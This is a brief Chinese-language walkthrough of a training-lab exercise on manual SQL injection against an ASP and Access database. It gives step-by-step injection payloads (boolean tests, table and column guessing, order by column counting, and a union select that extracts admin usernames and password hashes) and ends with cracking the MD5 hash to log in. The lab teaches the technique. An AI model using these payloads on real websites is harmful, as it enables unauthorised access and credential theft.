【墨者学院】--SQL手工注入漏洞测试(Access数据库)
背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境IIS+ASP+Access,Aspx代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
实训目标
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Access的数据结构;
4.了解字符串的MD5加解密;
解题方向
手工进行SQL注入测试,获取管理密码登录。
1、判断注入点:
分别用and 1=1和and 1=2测试,发现1=1的时候页面没有变化,1=2的时候页面发生变化,说明存在数字型注入。
2、猜表名:
id=1 and exists(select * from admin) //页面返回正常,说明存在admin表
3、猜列名:
id=1 and exists(select username from admin) //页面返回正常,说明存在username列
id=1 and exists(select passwd from admin) //页面返回正常,说明存在passwd列
4、判断某个id对应的列数:
id=1 order by 4 //显示正常
id=1 order by 5 //显示不正常,说明数据库字段是4
5、判断某个id对应的列数:
id=1 union select 1,username,passwd,4 from admin
最后解密MD5登录后台获取key值。